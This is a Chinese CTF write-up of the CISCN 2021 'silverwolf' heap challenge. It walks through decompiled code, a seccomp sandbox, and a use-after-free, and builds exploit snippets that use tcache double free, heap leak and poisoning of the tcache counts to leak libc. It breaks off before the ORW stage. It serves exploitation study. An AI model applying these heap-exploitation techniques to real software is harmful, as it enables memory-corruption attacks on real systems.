[CISCN 2021 初赛]silverwolf —- 堆上的ORW
尝试复现一些大赛的题目,主要是感觉一点长进都没有,一直刷题不知道学了些什么……
这题主要是堆上的ORW,跟着gets的博客来的
废话不多说,开始,pwninit一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ❯ pwninit pwn [INFO] 当前已在虚拟环境中: ctf [INFO] 给二进制文件添加执行权限... [SUCCESS] 权限添加成功: pwn [INFO] 检查二进制文件保护: ================================== [*] '/mnt/d/TY/网安笔记/CTF_PWN/复现/CISCN_2021_初赛_silverwolf/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled ================================== [INFO] 生成exp.py模板... [SUCCESS] exp.py生成成功 [SUCCESS] 初始化完成!
|
可以看到保护全开,稍微运行了一下,基本的菜单题,拖ida看看
程序
main
我将函数稍微重命名了一下,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __int64 v3[5];
v3[1] = __readfsqword(0x28u); init_(); while ( 1 ) { puts("1. allocate"); puts("2. edit"); puts("3. show"); puts("4. delete"); puts("5. exit"); __printf_chk(1LL, "Your choice: "); __isoc99_scanf(&unk_1144, v3); switch ( v3[0] ) { case 1LL: add(); break; case 2LL: edit(); break; case 3LL: show(); break; case 4LL: delete(); break; case 5LL: exit(0); default: puts("Unknown"); break; } } }
|
init_
存在沙盒
1 2 3 4 5 6 7 8 9 10 11 12 13
| __int64 init_() { __int64 v0;
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); v0 = seccomp_init(0LL); seccomp_rule_add(v0, 2147418112LL, 0LL, 0LL); seccomp_rule_add(v0, 2147418112LL, 2LL, 0LL); seccomp_rule_add(v0, 2147418112LL, 1LL, 0LL); return seccomp_load(v0); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ❯ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009 0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008 0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008 0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0009: 0x06 0x00 0x00 0x00000000 return KILL
|
add
这里是存在一些问题的,可以看到,程序在输入index之后会有一个**!size**的判断,所以index一定得为0,也就算是说,后面申请的chunk会把前面申请的chunk堵盖掉,同时限制malloc的chunk大小得小于等于0x78
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| unsigned __int64 add() { size_t chunk_size; void *ptr; size_t size; unsigned __int64 v4;
v4 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf((__int64)&unk_1144, (__int64)&size); if ( !size ) { __printf_chk(1LL, "Size: "); __isoc99_scanf((__int64)&unk_1144, (__int64)&size); chunk_size = size; if ( size > 0x78 ) { __printf_chk(1LL, "Too large"); } else { ptr = malloc(size); if ( ptr ) { size_list = chunk_size; heap_list = ptr; puts("Done!"); } else { puts("allocate failed"); } } } return __readfsqword(0x28u) ^ v4; }
|
edit
同时edit也是同样的,有一个判断,v3得为0,也就是只能修改第一个chunk,并且允许我们往chunk里面读取内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| unsigned __int64 edit() { _BYTE *v0; char *v1; __int64 v3; unsigned __int64 v4;
v4 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf((__int64)&unk_1144, (__int64)&v3); if ( !v3 ) { if ( heap_list ) { __printf_chk(1LL, "Content: "); v0 = heap_list; if ( size_list ) { v1 = (char *)heap_list + size_list; while ( 1 ) { read(0, v0, 1uLL); if ( *v0 == 10 ) break; if ( ++v0 == v1 ) return __readfsqword(0x28u) ^ v4; } *v0 = 0; } } } return __readfsqword(0x28u) ^ v4; }
|
show
很正常的打印
1 2 3 4 5 6 7 8 9 10 11 12 13
| unsigned __int64 show() { __int64 v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf((__int64)&unk_1144, (__int64)&v1); if ( !v1 && heap_list ) __printf_chk(1LL, "Content: %s ", (const char *)heap_list); return __readfsqword(0x28u) ^ v2; }
|
delete
存在很明显的UAF漏洞,
1 2 3 4 5 6 7 8 9 10 11 12
| unsigned __int64 delete() { __int64 v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf((__int64)&unk_1144, (__int64)&v1); if ( !v1 && heap_list ) free(heap_list); return __readfsqword(0x28u) ^ v2; }
|
分析
目前已知有UAF漏洞,并且题目是Glibc2.27的,所以存在tcache bin,并且需要打ORW,其实在这之前我并没有打过堆上的ORW,现在进行尝试,首先我们肯定需要泄漏libc地址,而一般利用unshorbin的chunk,因为ub的fd和bk都是指向main_anera+一个偏移的地址,但是现在只能申请小于等于0x78大小的chunk,那么现在的问题就是怎么申请到非fasrbin的chunk,而我们是处于Glibc2.27的环境下,而tcache bin会申请一个很大的chunk,用于管理tcache bin里面的chunk,这个大的chunk在Glibc2.27大小是0x251,而由于开启了沙盒,导致会有很多杂乱的chunk,如图
那么现在如果我们能够把这个chunk free掉,不就可以使得它进ub,从而得到libc_addr嘛?,因此我们现在需要得到得到chunk的地址,那么怎么得到呢?在Glibc2.27针对tcache bin引入了key这个用于检测double free的机制,当一个chunk被free掉,进入tcache bin的时候,会把这个地址写入到chunk_addr+8的位置,因此,利用这个机制,我们可以泄漏得到heap_addr,
leak_heap_addr
那么好,现在先来处理泄漏heap_addr的问题,那么现在的问题是:这个key会检测double free,如果不能double free,那么我们目前无法将free掉的这个tcache chunk的fd修改为处于头部的0x251的chunk,那么就无法通过ub泄漏地址,所以我们需要把这个key覆盖掉,随便覆盖成什么,因为地址后面第二次free的时候会重新覆盖上,那么好,来看变化:
1 2 3 4 5 6 7 8 9 10
| def exp(): for i in range(7): add(0x78) edit(b'source') edit(b'a'*0x10) delete() edit(b'a'*0x10) bug() exp() itr()
|
这里是存在问题的,这里直接show是得不到这个地址的,因为前面是0,会被 __printf_chk截断掉,所以必须double free
好了,现在我们就可以double free,并且泄漏地址了,
拿到地址,为了简约,将代码修改成这样,并且将泄漏的地址低三位取0,这样得到堆的基地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
def exp(): for i in range(7): add(0x78) edit(b'source') for i in range(2): edit(b'a'*0x10) delete() show() ru("Content: ") heap_addr = uu64(ru(b' ',drop=True))&0xffffffffff000 leak("heap_addr",heap_addr) bug() exp() itr()
|
修改fd为tcache的大chunk
因为已经double free,并且存在uaf我可以去修改chunk的fd为tcache,进而让我们能够拿到libc的地址,
1 2 3
| edit(p64(heap_addr+0x10)) add(0x78) add(0x78)
|
修改这个chunk,并且free,泄漏libc
现在这里需要将tcache bin的机制来复习 学习
tcache bin其实是依靠最开始申请的这个大的chunk来控制的,前面一部分是count部分,就是用来管理chunk的数量的,也就是tcache_perthread_struct里面的counts部分,其实tcache_puts和tcache_gets就是依照这个counts来确定tcachebin里面是否存在chunk的,如果说我们把这个覆盖成7,那么再次释放对应大小的chunk就不会进入tcachebin,直接进入unshortbin或者fastbin,其中每个counts所占字节大小其实不是固定的,会随着版本的变化而变化,最好的解决办法是看源码,或者,直接调试,那么接下来是调试的办法,这里是另一个题目的,不是这道题的,只是举一个例子
所以这里counts的大小就是两个字节
这样就是对应的距离了,
好了,既然了解了这部分counts的知识,现在我们是在这个0x251的chunk上,那么现在找到0x250的位置,并且将对应的部分覆盖为7,并且free掉这个chunk使其进入ub,从而泄漏地址